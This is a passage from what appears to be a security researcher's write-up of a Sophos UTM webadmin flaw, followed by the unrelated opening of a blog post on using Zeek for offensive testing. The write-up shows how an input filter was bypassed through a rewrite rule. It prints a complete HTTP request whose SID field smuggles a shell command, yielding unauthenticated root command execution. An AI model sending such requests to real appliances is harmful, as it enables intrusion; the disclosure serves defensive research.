2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]:             'SID' => '0ouch /tmp/pwned',
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]:             'asg_ip' => '192.168.50.17',
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]:             'ip' => '192.168.50.178'
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]:           }
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]:         ];
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: <=========================================================================

/var/log/confd-debug.log

2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: |=========================================================================
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: W No backend for SID = 0ouch /tmp...
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]:
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]:  1. main::top-level:221() asg.plx

/var/log/webadmin.log

Hmm... The SID in the logs is 0ouch /tmp/pwned, that's not what we sent...

Say Diff Again!

At this point I knew exactly what the issue was. Remember at the beginning of this writeup when I said that I like to diff both source code and configuration files? Meet the other diff between versions:

meld-httpd-conf.png

Reviewing the httpd-webadmin.conf configuration file in /var/chroot-httpd/etc/httpd/vhost shows us this almost-show-stopper:

<LocationMatch webadmin.plx>
        AddInputFilter sed plx
        InputSed "s/\"SID\"[ \t]*:[ \t]*\"[^\"]*\|[ \t]*/\"SID\":\"0/g"
    </LocationMatch>

/var/chroot-httpd/etc/httpd/vhost/httpd-webadmin.conf:64-67

Any HTTP requests coming into webadmin.plx are processed by InputSed which matches and replaces our "SID":"| JSON body with "SID":"0. This can be visually seen on regex101.com:

regex101.png

After spending some time attempting to bypass the regex and try different payloads, I had a thought... This input filter only triggers when the location matches webadmin.plx. And then I saw it and it was beautiful:

RewriteRule ^/var /webadmin.plx

/var/chroot-httpd/etc/httpd/vhost/httpd-webadmin.conf:12

Making an HTTP request to the /var endpoint is the same as making a request to the /webadmin.plx endpoint, but without the filter. Making the request again, but to the new endpoint:

POST /var HTTP/1.1
Host: 192.168.50.17
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17
Connection: close
Referer: https://192.168.50.17/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"objs": [{"FID": "init"}], "SID": "|touch /tmp/pwned|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true}

And here's our file:

# ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 Aug 17 17:07 /tmp/pwned

We now have unauthenticated RCE on the Sophos UTM appliance as the root user.

And that ends our adventure for now. I hope you enjoyed this writeup :)

Le Zeek, C’est Chic: Using an NSM for Offense

Le Zeek, C’est Chic: Using an NSM for Offense

In one of my many former lives (and occasionally in this one) I played "defense", wading through network traffic, logs, etc. for Bad Things™. Outside of the standard FOSS (and even commercial) tools for doing that, I grew to have a real fondness for Zeek, which is often the cornerstone for other network security monitoring (NSM) products and platforms. These days, I use Zeek primarily for NSM purposes and profiling of IoT (and other embedded) devices we at Atredis are either testing or researching.

However, some people may not be aware of the potential for using Zeek in red team or network penetration testing capacities. In this post, I'll touch briefly on Zeek's capabilities and then get into a few examples of using Zeek to help guide/inform testing efforts.